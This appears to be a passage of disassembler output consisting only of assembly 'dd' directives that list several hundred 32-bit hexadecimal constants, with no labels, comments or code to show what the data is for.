		dd 0F511949Dh, 0A824CB24h, 0F985D602h, 6090F816h, 0F3DF21E1h
		dd 44269724h, 5A080814h, 59386605h, 5B6A730Ah, 91138C9Ch
		dd 46C094D6h, 54220224h, 4721FACDh, 2AA30088h, 0E7A71954h
		dd 0B7EA4900h, 8FF66134h, 0D7BE4A2Bh, 6462D01Ch, 81003007h
		dd 5DABDB1Dh, 71CCF8h, 0B589DFB9h, 0D06A0EB0h, 2CDC1726h
		dd 4EE73488h, 24008049h, 8472C7C9h, 807D923Fh, 7AC13A69h
		dd 60592855h, 8510D9F3h, 7162AE1h, 35009AD6h, 81E6BFA4h
		dd 6850D4DBh, 38CE9E8h,	6CE88E8Bh, 2CE0BF37h, 93547B80h
		dd 4C251CB8h, 93C6427h,	0AEFCC424h, 0FBAACC82h,	7907C800h
		dd 2E03006Eh, 0F001C04Bh, 0E201D0D1h, 4583F1C9h, 389237F8h
		dd 5E8809AAh, 506F10A0h, 58C10762h, 80FE551Bh, 0C4BCBBF7h
		dd 0EA880C8Eh, 910C4C7h, 194D1Bh, 0FC6E3A42h, 11F6312Ch
		dd 0F9D82254h, 0BA689A0Ch, 0A02B783Ch, 84C51CA0h, 2D02F946h
		dd 0D174C965h, 0C610E331h, 5A006525h, 11786EE6h, 0DBC2AEDh
		dd 29CA48FAh, 12C84160h, 88320CF6h, 1C019998h, 411B6D3Fh
		dd 0A18035BEh, 27FFEE05h, 19004308h, 64F6AC72h,	0F092FADDh
		dd 846503D4h, 0DEA35F22h, 0A504588Eh, 9A9B4274h, 65417881h
		dd 35CD2210h, 6F18500Ah, 9C48C025h, 1D42438Fh, 26F83E7Eh
		dd 0C60290AFh, 0A2D0B872h, 0A0E49E78h, 8B4B02B0h, 5EA0005Ah
		dd 0F58A5D7Bh, 0BEFCA932h, 0B009AC98h, 5822E2CFh, 0F82B5964h
		dd 2CBACB80h, 448CCDBFh, 0B401E833h, 8E898FBAh,	71809C9Dh
		dd 512C2073h, 0A402C3D5h, 0DFC44237h, 0E230C922h, 509D2022h
		dd 30B1A2E5h, 1EE224F2h, 0EB22FE46h, 80FAD63Fh,	8920D2B4h
		dd 90DE1359h, 29AD01C8h, 0FF6AD431h, 0FDD42567h, 760024F5h
		dd 31939903h, 0F289C73Dh, 0CC9C807Dh, 90905A92h, 0EC377788h
		dd 6831CFFEh, 0A362A563h, 13C13BE8h, 9CEC04B0h,	0FE87EC40h
		dd 0FFFC3439h, 0EB28C131h, 2EB0647Fh, 28FBE832h, 30CC6185h
		dd 48C250Ch, 0FAF2542Dh, 16CCE39h, 8E5435B0h, 0A8E47214h
		dd 0F8570F21h, 30131715h, 5C16A248h, 9D70E162h,	635CCA0Fh
		dd 1C3598E4h, 84CBA71h,	0F4080EC0h, 0DFD2141Ch,	3623002Fh
		dd 0FA4CC200h, 0A01C9680h, 0F4B398E8h, 73F4A3D5h, 54F48CE0h
		dd 46FAD03Bh, 0A2008C22h, 0A8BC542Bh, 0AF3D9CEh, 0C6CC2DEEh
		dd 0F2A502E8h, 0B0A0FD59h, 8C7A185Fh, 5D2E4AF6h, 0EB1574DDh
		dd 0E1D00BF4h, 0E52C01CDh, 0FC009879h, 0C8A8D712h, 85046163h
		dd 90FBC78Eh, 0E5AAF481h, 11F77000h, 3DC3EA44h,	0E0BEC12Bh
		dd 9BF8F850h, 652C0330h, 6BA74CCh, 3B10E219h, 0B9006524h
		dd 831B2593h, 1FB6E12Bh, 0A161F98h, 0C0946B8Fh,	62BEA8FAh
		dd 0C4BC8097h, 3B821C2Bh, 0F528E661h, 894C94D0h, 38901FF7h
		dd 0ACA87F42h, 6D003B19h, 925BF477h, 390B1Bh, 2B488A9Eh
		dd 3379A31Eh, 4914649Ah, 1D41BAEh, 7531BD3Fh, 0F8D76D25h
		dd 7BCB22FBh, 618EFB35h, 3B7CF629h, 2B8B1000h, 9A94B8CFh
		dd 4100BC92h, 0E43826AFh, 0F6841B61h, 0A7C031Ch, 75CCCF92h
		dd 0C4506024h, 17DBCA09h, 808A9174h, 0F5C3BD4Dh, 83060581h
		dd 0C959233Bh, 0E8BFDCE8h, 68433007h, 0A2405ED1h, 1C937FC4h
		dd 547FEC0h, 5AD67Bh, 8C6CEE18h, 0C21EADEFh, 69C006ABh
		dd 0E3AE5B0Ch, 3F4B0411h, 0A2FE4A3Dh, 0E90427Ch, 18E23935h
		dd 56F4349h, 0BED6DE48h, 56944037h, 5F68B1D5h, 1F108200h
		dd 0D9CBB8AFh, 41D09E8h, 841439Ah, 19FB08BBh, 702F65ADh
		dd 7C8214E5h, 24CE30B5h, 0DE1E2811h, 0D280F088h, 0CBBE24F6h
		dd 7CFF0022h, 17267AACh, 0B412F9D1h, 0B41DA173h, 0EC3AF192h
		dd 76003123h, 47D79F9Ch, 0AC170039h, 0A2E2C435h, 920958A8h
		dd 613E9E48h, 8AA529D0h, 8B14B804h, 0C1E3C894h,	0E080CA87h
		dd 63071F42h, 0A47CC7EAh, 3F255970h, 445109A7h,	406841E1h
		dd 5C00317Dh, 0B485AC5h, 0FE9129Ch, 0A030C413h,	78C2CC41h
		dd 80DDCF1Ah, 0A82D02ACh, 0F3A09260h, 1272D655h, 800A1271h
		dd 0AC70F9C0h, 0AF209490h, 0F35B1532h, 6F270860h, 68FC8860h
		dd 482CA78h, 0CF61B2D8h, 0F61EF824h, 0F7D30187h, 0F48AB524h
		dd 1E0C25CDh, 60D802B3h, 1A8015F9h, 0C724A82Ah,	80261198h
		dd 0FACF5424h, 0C00CB131h, 32542CA1h, 2F08F02Eh, 689F801h
		dd 248FD20Fh, 9BEAF6BFh, 0FE043C80h, 0F9ED8EA6h, 4DAC94Ch
		dd 0B8603614h, 0BF212DBAh, 0B1E9C0A5h, 0DC5CE7BAh, 0BDBC0089h
		dd 7A741D4Fh, 501C1363h, 2670E0EDh, 0D3CB0614h,	8C0EB830h
		dd 280B6A00h, 4BB5AF9h,	530C3BE5h, 0BC80E458h, 0D014C3C5h
		dd 0D82F4000h, 0CD06445Eh, 0A6A501DBh, 0D34286A8h, 80F44482h
		dd 0BB62B0E8h, 14E7E609h, 0F35824FDh, 0CF653760h, 0CC017421h
		dd 6C3B6566h, 52AD9DE9h, 0FC2B9C87h, 0C91F2ED2h, 0A3E17A80h
		dd 59362820h, 0E84684CBh, 0CF142FE0h, 0D8EF700h, 0E356FBD0h
		dd 0CDAB2505h, 41D2EC18h, 0B1597A65h, 0A7C03DC7h, 58C954BFh
		dd 4502385Ch, 422C0807h, 0D9003052h, 0FBBC0314h, 0A8BD25B0h
		dd 9FCC3BCh, 0C02A1CA7h, 40381884h, 0BF7922C1h,	66E4BBh
		dd 62ED99B2h, 0A3215BF3h, 0FC2E1704h, 7490E694h, 0E84B45ADh
		dd 5C2000Bh, 0E576651Ah, 63017C32h, 0D00E6EF8h,	1120D580h
		dd 932D4FCBh, 0FBF825A4h, 1A25E889h, 6A74A048h,	26492233h
		dd 7BAF7E7h, 0E3D3583Ah, 6BF805B0h, 0B01BFA9h, 0F22B23E3h
		dd 0D83025C9h, 36AE042Fh, 0B1181527h, 0C061F210h, 0F7591174h
		dd 20656180h, 0B4BB82Fh, 0DCC89B00h, 833CEC1Ch,	1629136Ch
		dd 73D88170h, 1C26A6h, 83725305h, 5C2CF27Ah, 0F4231031h
		dd 0D0653801h, 24230974h, 65303F83h, 4B507EA0h,	0ED8A351Fh
		dd 95802B9Dh, 6A72B22Fh, 60854DDFh, 0C9F00D18h,	9BF8127Dh
		dd 0E8A818D4h, 0DCE18C35h, 2B094764h, 84ABFCF3h, 0CC60B764h
		dd 1E252624h, 0D896AEh,	324F4E0h, 0C80ABA37h, 73B86D01h
		dd 7B5F7199h, 0CE7EB050h, 8FA00080h, 0E0DC1E54h, 0BE0B3F6Eh
		dd 4413F64Ah, 9CE610B4h, 56900192h, 0D47A7F26h,	0E80C886Ch
		dd 485175A9h, 803AFCB9h, 777CD9A3h, 0AA9C4D7h, 0A01B6274h
		dd 5ACF0588h, 140CB02Eh, 0E1E4C8A5h, 0CD9EF860h, 9A92F300h
		dd 0C55A6E4Ah, 0EA93121Ch, 2FE417DBh, 867410D8h, 1C027ECBh
		dd 160636B2h, 48EC4B76h, 28C02200h, 4AFACB54h, 0A5902C11h
		dd 71543000h, 0D96D75B8h, 3EE07F2h, 5448E4B5h, 0E5A8F41Ch
		dd 2DF73344h, 90A43A15h, 9D48F4E7h, 0FCE89254h,	2857BF02h
		dd 591D5F59h, 802F114Ch, 0FACC5427h, 89448C09h,	542F01A6h
		dd 0AE70AF7Bh, 352CF407h, 9FE12E00h, 74CBC71Ah,	8CD7284Ah
		dd 0AFA803D4h, 0D5A5E885h, 43C64100h, 0F6D00A07h, 0DB4D1750h
		dd 23883AE9h, 0DF7800EBh, 2B1A63EFh, 36FA8D7Ch,	9E8C40EDh
		dd 0D15076A6h, 902DC1E4h, 0D9746ABEh, 18337974h, 1B97053h
		dd 1A972625h, 32423527h, 69D00C4h, 0C479AE9Fh, 0D6E01681h
		dd 28EC0327h, 0B10296FFh
		dd 43A05516h, 4860604Eh, 1404949Dh, 4522E092h, 22BE2C11h
		dd 3D395A01h, 0FCFB76CFh, 0FC0CD01Ch, 0E0203E50h, 65CF423h
		dd 2A6E4F22h, 70994119h, 1618EED1h, 6FC79B09h, 30EC98F9h
		dd 63580F59h, 7C806711h, 0F05FB49h, 8CA8C600h, 0AFA9F4F0h
		dd 79ECA09Dh, 0AEFB8086h, 0C13BBE30h, 607E156h,	7A806792h
		dd 1B0359CAh, 2A4EA752h, 0AE79E1FFh, 5F82198Eh,	941F85C9h
		dd 0C08E8D11h, 7EE333E0h, 1712804Ch, 44041ED3h,	0A201875Fh
		dd 3095D416h, 54070540h, 0A0F19629h, 0F8500EC1h, 82E1892h
		dd 0D0C0B344h, 461E2224h, 0E922CEh, 0BF24F8D4h,	6A2D6941h
		dd 0DFEB9800h, 496CE862h, 0FB4A027Ah, 299F3E7Ch, 2A487860h
		dd 1E4B6C88h, 0E48E9425h, 68FB8454h, 0F3EC94AAh, 42B4001Ch
		dd 3306EA43h, 9986003Dh, 0B895AF93h, 503C17Ch, 1F716FC0h
		dd 90B4C0C6h, 4484B8CEh, 802FC9B3h, 0D0CC287Fh,	0FD414961h
		dd 0B766C8C3h, 4D9B0676h, 8819D231h, 5920FE20h,	0F78E8436h
		dd 0F941214Ch, 0A37CC702h, 0E0223B94h, 92F85A84h, 0A9732Ch
		dd 0D48CCD60h, 0C43EBB68h, 0D9E7D314h, 144828B0h, 0C8460A14h
		dd 21C300B0h, 0D74F66F9h, 6BB8A01Ch, 80F2502Ah,	0A4D0D0CBh
		dd 0AC2EA281h, 0DC43D9Ah, 11180D15h, 56CFC30h, 8312BE31h
		dd 0DE4E38Ah, 79FBFF3Ch, 0FCAF030h, 39238AE1h, 0F3E4D093h
		dd 66403F62h, 0CD655B41h, 42B6D008h, 0E4EA3500h, 17FA2B07h
		dd 0B2D4B43Eh, 7460FCB8h, 39C066A3h, 0CD08962Bh, 86D4B48Eh
		dd 912314F7h, 0FD16EFE6h, 50F138DFh, 26DC4CFAh,	12A4652Bh
		dd 0F0DC6221h, 65233C20h, 8CF22EBCh, 3BAA0F80h,	2A4FC8Fh
		dd 44CCF50Ch, 0F0A00043h, 7E5F3D8Eh, 8CE999C0h,	0A5C9AFh
		dd 124E9328h, 0B44A2614h, 0BEFE1C06h, 0E038D96Ah, 1C9E499Dh
		dd 39F6E00h, 3A472D0Ah,	0BD8B7704h, 6181224Bh, 40DA75ADh
		dd 0AE5F49Eh, 9C0CE6C0h, 74CC26C8h, 8E00EF46h, 0FB9F15F9h
		dd 694C9C87h, 0A61C5120h, 46741488h, 7A9900EAh,	91F8487h
		dd 1A6605CAh, 40735FB0h, 70E19888h, 64030AC6h, 5CC7AC11h
		dd 3BAE80FFh, 14901431h, 0F212A854h, 81F09ED2h,	614B78C2h
		dd 96F2C80h, 58F6E39Ah,	80284F02h, 0C6A810C6h, 0AA230018h
		dd 0A52BAD57h, 0EE5E242Eh, 0BF82B897h, 0B8E50985h, 2C608BE4h
		dd 7E01A868h, 93E7D6FFh, 8022E13Ch, 0DF1ADD04h,	0F62C0165h
		dd 7896FE64h, 0E904909Eh, 270051D4h, 6932B8E7h,	0EE2F84C9h
		dd 0E2393062h, 14247069h, 0DEA26B16h, 0F910B488h, 41AEFC11h
		dd 1DF4AA8h, 2879717Fh,	1820BE25h, 0CE1FE7B1h, 0A4F6CB26h
		dd 98E14F1Ch, 0C43531D6h, 1C82FC0Ah, 0F826F66Bh, 808730B1h
		dd 0FE457908h, 0E2BCE42Ch, 0E4E0288Ch, 0E1B82088h, 50B4051Dh
		dd 0D03548CAh, 91ED213Ah, 67F1292h, 0A6C5A027h,	0C800D425h
		dd 10FEA2D4h, 1251C2F9h, 58609987h, 8540B028h, 16A70F17h
		dd 0D81882A3h, 0A0BAC663h, 0F41EBC90h, 3C40F63Bh, 0BB1AA42Fh
		dd 282260F7h, 33025099h, 271F4195h, 0A86E2Ah, 0C0761B7Ch
		dd 2DEFA4Ah, 0F6EA0CC1h, 40212411h, 0C189CCF5h,	0FB8053CBh
		dd 0FAC3739Fh, 7913C3Ah, 3989D72Bh, 0D8F21365h,	0C330E2E2h
		dd 4DD8008Bh, 0B3CD5EC7h, 6A587489h, 0A8C04A76h, 72C5AFEh
		dd 162067E2h, 0F003D658h, 0C43D131Eh, 1C93CFAh,	6A7365E7h
		dd 0D0797BD3h, 0D8D3783Dh, 13249E22h, 92084CF1h, 4C9325D2h
		dd 0ECFE5DF1h, 0E200F59Ch, 566603FFh, 12C30Ch, 6EE53281h
		dd 152ADCDBh, 22704901h, 1CFEBF2Bh, 257B3874h, 0F084B74Ah
		dd 0CF48822Ah, 0AF551620h, 0F3BE0C90h, 0DD71D25Ah, 9F1F6A18h
		dd 7B16C030h, 0BFE8CF64h, 88953959h, 502B5918h,	4200C77Ch
		dd 0A3FB3877h, 4B9E8B1Ch, 0C6CCD1DEh, 0C48A0C10h, 81A47471h
		dd 7CC3DC64h, 8C32885Ch, 9329F648h, 7DB31400h, 5A6F3DF9h
		dd 0DE220042h, 64FDD941h, 890EBAE1h, 9278FCCDh,	20807086h
		dd 267DF712h, 54AA9500h, 0C848BC5Ah, 20F4B025h,	81F0E28Eh
		dd 0A411F406h, 0D1E89Dh, 3580238h, 0A80E32ACh, 416AC0EFh
		dd 33BF1202h, 61FA2335h, 5EEAC611h, 0B8CE8024h,	0EF3ACFA8h
		dd 0C9D02B07h, 84131623h, 74612601h, 0B4E3253Eh, 1C2A70A0h
		dd 0F344C5Ch, 9F8E2762h, 91A4972Dh, 3FED8010h, 70BF8A76h
		dd 0C6D50EEBh, 41133296h, 8B62724Ch, 0DF4249Ch,	9F646C5Ch
		dd 1891FB0Ch, 2578E2FAh, 7C600316h, 0AC99FD39h,	2E1A7305h
		dd 92D64B0h, 94E8FC6Fh,	634A8D80h, 30913E7Fh, 7F1C443Ah
		dd 80DD63B3h, 101045FBh, 0F00AD932h, 8FC17ABh, 8604F594h
		dd 14813F02h, 0D5101E36h, 2409358Bh, 987221BDh,	30E6A254h
		dd 7138FD5Ch, 204E1E6Ah, 58884CCDh, 185F91Ch, 0B406C032h
		dd 0FC9102A3h, 0C0767780h, 8C8B1A68h, 6FF8DB58h, 0F22CAA12h
		dd 7E00E0A2h, 0ACB0CB0Ch, 6C00EE7Dh, 0A90E2B3Eh, 377779h
		dd 0ED5C7C86h, 0CD2FCA93h, 80CBDB4Bh, 2FC07588h, 0A8999D38h
		dd 3A22EC9Ch, 0D6035ABEh, 496589A9h, 0EC9633F9h, 0C0C9D756h
		dd 0D99CD9CBh, 591832h,	76776FACh, 4C1FB76Ch, 23278416h
		dd 0E2929C04h, 15131221h, 0C22C4808h, 3461BACAh, 0B00068B5h
		dd 4BAB3E7h, 80F6C0E9h,	744C8C7h, 0A4358B41h, 4CB61458h
		dd 0CCF214D2h, 0C4302620h, 14A400E2h, 1C25CBF9h, 0D4498ABBh
		dd 36950030h, 4648E4C7h, 0EC20A918h, 38809D12h,	0C90D4402h
		dd 7937831Ch, 21056A48h, 1C184B80h, 0E849F528h,	288D3138h
		dd 240CCB12h, 282EA288h, 4678F410h, 31F02217h, 3AA88C4Fh
		dd 8BFD0C1Ch, 9C82F4FAh, 2496FE90h, 401BC944h, 343BE72h
		dd 733AD822h, 0E8F61CA5h, 64FCE7A5h, 8D5760EFh,	611C069Dh
		dd 6817A649h, 0E1126AEEh, 0E06A468Eh, 3E700708h, 4295DC88h
		dd 881711B5h, 0F6428582h, 1C951129h, 0BB7C01C7h, 6A7219ECh
		dd 0C07C3403h, 0F1E80E10h, 39557302h, 14C0AB2Fh, 4091DDCAh
		dd 392FDE2h, 0ECB24C20h, 80977860h, 0C8472781h,	0F1358008h
		dd 242250FCh, 25BD3780h, 5841DCFEh, 0F21C2025h,	0F4C8D94Bh
		dd 804C9440h, 0BF987A2Ch, 0FD52E02Eh, 909710FCh, 0FC1610D3h
		dd 20A8E816h, 6268FB38h, 0BD302492h, 37E7513Eh,	0C6400053h
		dd 0E59C4F9Ah, 0D00B50EAh, 0C123A497h, 0A020AF5Ch, 1233406Dh
		dd 0D0C48C7Fh, 4B479205h, 9D919317h, 4D6385B8h,	0F0D9DD00h
		dd 73AA520Dh, 95A73CA6h, 69D26285h, 8EA404C4h, 86DA04F0h
		dd 0EDBCB0BCh, 0AABD008Ch, 3F7231B9h, 7E245BA7h, 5C08ACF7h
		dd 530603EAh, 9689705Fh, 0E8F88A0Bh, 0F94088A1h, 8020FA50h
		dd 4A04BD36h, 92B6C625h, 106614C9h, 2076B31Ch, 0C0FC6E32h
		dd 0C8D0A05Ah, 2895CD7h, 0E0B542B0h, 0E4C9EBBEh, 13199257h
		dd 0E223A82Fh, 0DB3DFD05h, 0CC0AD1Ch, 1C1F5139h, 9852F572h
		dd 24F130C0h, 16255CBEh, 13D57A10h, 279524h, 773B8B8Ch
		dd 6A1374C1h, 0C0D189FBh, 14957Eh, 2D243A8h, 38BBC2C7h
		dd 0AAE2C300h, 2A7F1F9Ch, 4189278h, 0C7376854h,	0E2E4A2DBh
		dd 52CC308Bh, 20017871h, 0BB3E3977h, 747DA02Eh,	76C76209h
		dd 1FC0A407h, 0E1E8B653h, 8EF8CBA1h, 0AF60128h,	3C9F35ADh
		dd 82B83CFAh, 7B62E0A5h, 47D57008h, 7F195A0Bh, 1E201072h
		dd 0C64A8Bh, 1C35F12Ch,	9797F277h, 80E491DCh, 8D34A8F5h
		dd 1B9F26ECh, 0A0F41E00h, 8F127104h, 8A032AEh, 0CD058C29h
		dd 0DDBF2ABAh, 0E600C08Eh, 29BEBAB6h, 4B2E1F31h, 2800184Ah
		dd 1E48F90Ah, 0CC809732h
		dd 3B9C1C70h, 7C2F255Bh, 32008923h, 20190B06h, 6AD216C6h
		dd 0BA78A06Fh, 80CCB14Fh, 0A8F03D5h, 1589DB81h,	0C8DD0681h
		dd 5E00A5DFh, 0CE873824h, 1639B628h, 211BF691h,	0E0B3F9A8h
		dd 0C904CFC6h, 0F2FA2D23h, 0E1F2E8B2h, 209F30h,	0BBF7E860h
		dd 88D357AAh, 6E20F890h, 807CA5F1h, 0E6BBACDBh,	68E1CA64h
		dd 8CEDE828h, 0F7E0BF00h, 0E82EAC97h, 8258BCA7h, 31AD4B2h
		dd 0CF02D0D6h, 0DABEB570h, 0CFFB5C70h, 59BD963Eh, 5E6EFE89h
		dd 48FD4CA1h, 68123EB2h, 0EF23183Ah, 0DC972700h, 4D5268FCh
		dd 0BF28A00Fh, 74C0094Ch, 0CA0B742h, 0E936FCD0h, 3020D8B0h
		dd 9614079Bh, 0B342B151h, 1E881A77h, 9430843Eh,	16C969A0h
		dd 0D70E043Ah, 9D78E40Ch, 242B2A64h, 4003223h, 0B8BDFE01h
		dd 8649676h, 0C0029D3Fh, 0C52C2Eh, 807A9825h, 2C31734Ah
		dd 0FB00D8EAh, 7498F536h, 0E143A21Dh, 27BDBA01h, 8020D475h
		dd 1A692C63h, 0FA6684FCh, 8140ECB3h, 7764E5D2h,	243F2F4h
		dd 3F147393h, 58405FBDh, 7E244C1Fh, 808B50FDh, 248C5106h
		dd 60F6440Ch, 21CE652Ah, 60CF3974h, 0AB416522h,	8A8309A6h
		dd 44141B77h, 0E1713C99h, 1DD6F819h, 5D043907h,	150C36Eh
		dd 0B24E6B1Eh, 44B35880h, 86CB4900h, 44FEBFA5h,	1A256494h
		dd 0B454C1FCh, 0D56298E3h, 845F5D4Ah, 3064C02Dh, 0EDB40502h
		dd 0A0FFCE8Fh, 6FDD6BB8h, 3DBE2A85h, 532207ECh,	4029F0C6h
		dd 0A3E94D79h, 273BA701h, 3D0270FBh, 88266874h,	98E8102Ch
		dd 13B1CA3Dh, 0C35FA35h, 912804B8h, 0FE6C98C0h,	2BC40430h
		dd 0BECD1105h, 1CB5A420h, 0E8D0602Ah, 0AA8C2C67h, 4868923Fh
		dd 4EA9098h, 0BCE82D49h, 1300A0EDh, 4A31AACh, 2328DCC8h
		dd 0C0129069h, 68DC7A55h, 602A4153h, 0E64AD238h, 32DE2844h
		dd 0E53C9600h, 14819556h, 0EDF20C22h, 1D59730h,	5374F3DBh
		dd 821EBB1Ah, 4A709999h, 250C6801h, 0A8B95112h,	17989FD0h
		dd 22748077h, 0D456BE1Ch, 0F9F25F80h, 402D11h, 8AB3973Eh
		dd 0A71BB967h, 9CB2917Ch, 58C060ADh, 1535CC6h, 0BD83FAAAh
		dd 339ACCF6h, 0AC700020h, 9DA35915h, 5EDF9846h,	23B02F84h
		dd 4B81CEDh, 0C3E80451h, 1FC02E8h, 5F35E5DAh, 0E25C403Fh
		dd 42622526h, 97AC2400h, 6D84C0B0h, 0FC610448h,	1F7B2BEh
		dd 0E09813C1h, 31B87838h, 1710EE8Ch, 1E983CE4h,	0B7BF49C8h
		dd 6C16544Ch, 6CF34D32h, 0C8888A4Bh, 1805C6EDh,	1E122CE0h
		dd 18F0EE93h, 0E846097Bh, 0AC71CDA5h, 868678F0h, 1631D503h
		dd 0E9FAA86Eh, 8C393362h, 0C8DEEE10h, 0CBDF931Fh, 0C7368840h
		dd 88C3A2Ch, 9E020232h,	68E3DAB6h, 5AA280D4h, 4A1C9139h
		dd 603B6BBFh, 88008B23h, 6E152CFAh, 0D85800A3h,	8BB924AAh
		dd 43009E0Ah, 329A2716h, 7A0D152Dh, 2509034h, 0C14F1920h
		dd 0D05ABD8Dh, 0CA56800h, 5082C5Eh, 757C13C3h, 212818F7h
		dd 8F4EC2CBh, 4C2F2C93h, 4FC0E819h, 0ECCE4409h,	2D0A0E3Eh
		dd 93FC40E3h, 42730B76h, 6C4883AFh, 580E710h, 72AA295Fh
		dd 802F11B4h, 0BF38BACFh, 0E41687EDh, 8F94AC03h, 6A62CAFCh
		dd 28F0410Ch, 504CB87Dh, 0DAE28B0Ah, 13CE09BCh,	0ED71E071h
		dd 0BF004718h, 0BD9F0249h, 9C7301Bh, 69A5B872h,	6520BC78h
		dd 68FB13F3h, 52B4D0D2h, 1227F762h, 0B1E058D3h,	1833D10Ch
		dd 78DD0761h, 6F92594Ch, 0B14CA392h, 0D80C8674h, 2DA07C49h
		dd 0C298C74Ah, 11188678h, 8BDD00A1h, 0E543C7D0h, 8D4CE4DFh
		dd 0BA4474FCh, 3B1A16DDh, 0E9C4275h, 7B01C304h,	2020258Dh
		dd 98248826h, 0FC23FE00h, 161FC169h, 0C51D2678h, 221E1C58h
		dd 0FE00E4BEh, 0CCAF0148h, 0A69E1285h, 6FD84E52h, 81C49BF3h
		dd 595023BCh, 5EE4047Ah, 0F009F7h, 0FE2BC31Ah, 0E092543Eh
		dd 4C979529h, 0AF808991h, 0B2C27961h, 75E01960h, 2CFC992Eh
		dd 95A0E2B6h, 88696CFDh, 0D814D86Bh, 740BDE8h, 0A24A7855h
		dd 97A40119h, 3088353Ch, 0CA0ED9D6h, 0E0282D94h, 80575447h
		dd 0FFB9FD31h, 2605FC29h, 0A02C0EBDh, 10BD233Ch, 0A307B8h
		dd 5584F353h, 3D75EDBCh, 0E2239600h, 3CD64921h,	4D253C47h
		dd 7C0031EBh, 590C1D9Bh, 0C480EF4Ah, 902B5C06h,	4935C08h
		dd 1496D910h, 52B41C20h, 2A3401CCh, 8F1DFC12h, 0E8409088h
		dd 38224D93h, 0D6A0F4DFh, 76AB2201h, 618762DDh,	0B404020h
		dd 8C11F630h, 804400FAh, 0E8151E20h, 0C3FE1D8Dh, 0E2A0BE99h
		dd 5B0444B0h, 2C45E8B0h, 5275C42h, 0F0A45423h, 1614642Ch
		dd 6F68B15Eh, 3523F82Fh, 0FCC4B802h, 598040AFh,	0CD90A8F2h
		dd 0F8E400C7h, 0A63BAE94h, 9F1C0543h, 40AD68FAh, 5BB2C8Ch
		dd 0CD0E092Eh, 8860CE61h, 692FC0E9h, 9EF05A1Bh,	0FB923504h
		dd 64809DF2h, 271EC1ABh, 0FCE10F32h, 7100EAACh,	0BFA4AA4Ah
		dd 20E5B485h, 3F6A7DE8h, 421801BDh, 7A2EFC22h, 0FF007FA0h
		dd 4DC2531Ah, 13BF51C4h, 60C8F0E6h, 29FC7920h, 0B7BBE880h
		dd 0CCD06420h, 9B616F4Ah, 36A72FA1h, 123254C8h,	1EEB6214h
		dd 21A558A0h, 0BE24A317h, 0AA80B0E0h, 1F830654h, 8D7A19D2h
		dd 10C76823h, 0EE44A73Fh, 8020915Ah, 76BF482Dh,	510041E3h
		dd 0CC138A40h, 4C89BC5Ch, 0E42A7C92h, 0A6B4A09Ch, 99048368h
		dd 0D336B31Ch, 0A98DA0A0h, 141219A8h, 6858BCD3h, 3C89EE6Eh
		dd 0D3023984h, 0A36A7297h, 0BE03147Eh, 6E0F12Eh, 874A7D90h
		dd 42121888h, 0CA8855Ah, 864375ECh, 749F7E02h, 5C7F42h
		dd 942D0202h, 21D891FAh, 0A22FD002h, 64E3FEB6h,	33962E7Ch
		dd 0F4344784h, 0F844E8F1h, 2E008CECh, 6221932Dh, 0C8758EFFh
		dd 10184080h, 0C2224359h, 0B9E29178h, 46743CDEh, 9A2A00EEh
		dd 4BFBD981h, 0B4B15Fh,	43A3B1B9h, 0E5004EC5h, 0B2210FE2h
		dd 0EAA083Ch, 7E6081B4h, 0F4F6C001h, 28147E9Fh,	0C9B9664h
		dd 610D580h, 3046AC1h, 0BC8BD7D1h, 0E8589881h, 0A6962F00h
		dd 2800865Fh, 51AFC929h, 0A57338DFh, 9D60B0AEh,	0D03E20C8h
		dd 30EA2C7Ch, 2D050902h, 0B4FC10h, 0C63CC525h, 0C3075C7Ch
		dd 395EACC2h, 850090E9h, 81072412h, 0FAE40128h,	74239E80h
		dd 0A662B3C8h, 0FCBB5981h, 0A9131220h, 0FCB2AC30h, 1EE83C49h
		dd 7F04B604h, 8800E87Dh, 159260BCh, 0A604FCC9h,	33616B1Eh
		dd 417D00FDh, 8230793Bh, 0D8E70h, 0D60EBB1Ah, 381330C0h
		dd 4EDA9398h, 0C44CCED3h, 90308677h, 0DE4EC8B1h, 0F74882h
		dd 1A311271h, 0F99F3317h, 0AC6D6C0Fh, 406981B9h, 41071811h
		dd 0D2B5A8EBh, 0B667A03Fh, 17BAE15Dh, 6BB8D10h,	50E23926h
		dd 0DD503AFEh, 3F3C20C0h, 4B15BF8Ah, 699CC420h,	742DFBD5h
		dd 44D80A89h, 13FD2020h, 0C02A4273h, 0EEE6BE84h, 0A0A07B4Bh
		dd 0F2E0F7A5h, 0CA79FD6h, 0FE748261h, 7361A8FCh, 983DFB72h
		dd 99B0163Ch, 8AD77A59h, 7C301880h, 441DB5BBh, 60867408h
		dd 4E509A61h, 4CBC03BFh, 0D98DA17Bh, 41A0B830h,	0DB4AE8C7h
		dd 0E3655C9Eh, 0AE8E8420h, 0F2B0BAF4h, 24C49EDAh, 0E8C2124Ch
		dd 0B696B0h, 4965E10h, 0E48A8F06h, 6E3678F7h, 73217821h
		dd 271B889Ch, 336CE807h, 0BCF54A81h, 210B1052h,	24F6B31Eh
		dd 8009FD34h, 5CBB9FF0h, 0F0467400h, 540A973Bh,	69E87241h
		dd 32E4B045h, 50B56960h, 5639B400h, 29A64780h, 0C179531h
		dd 0E989E491h, 87D6C885h, 2EBF425Bh, 46B5C0D2h,	68F56010h
		dd 544FC2A3h, 2955B33Ch, 1426807Fh, 1CB05A3Eh, 39E91776h
		dd 80EC9B3Dh, 1417F693h
		dd 8658055Ch, 0C99C0742h, 2020C26Ch, 5A096516h,	4248B345h
		dd 8677E138h, 0EB3BDE0Ch, 0E26DA85Eh, 6F37D10Ah, 4674F0B5h
		dd 0EF4100EDh, 0E856AEE3h, 8649BAAh, 0FE043992h, 0A8FCC6BEh
		dd 18041D93h, 1C8611E4h, 0B5707113h, 0E9C8D0CBh, 0F746A0CEh
		dd 17EF26C9h, 4045B514h, 2CCAAF90h, 70B2A816h, 0B850F738h
		dd 0AC90DB70h, 4D5A931Eh, 4A7FC8E2h, 0FC54C195h, 9C5F3AB6h
		dd 7C68F649h, 0AC174044h, 367C931Ch, 0FA20CFh, 7A80539Ch
		dd 0E899C5F7h, 0E28ADA3h, 69B942C6h, 0FAE02427h, 5AF7ACA4h
		dd 0EA10C81Ch, 0D198A05h, 18BD80F9h, 0B4581501h, 202A8D7Ah
		dd 2840EFD0h, 0CE6E1BFEh, 96CAB9E7h, 102530FEh,	27FCF958h
		dd 0C912CADh, 5B382539h, 40BBC018h, 25BF05E4h, 4491EC16h
		dd 3E687028h, 0BC2079D5h, 0CBC138Eh, 0E7C8298h,	3C02C8A9h
		dd 8480E714h, 7CC77A1Bh, 0F2E08302h, 322FED8h, 0F10139BDh
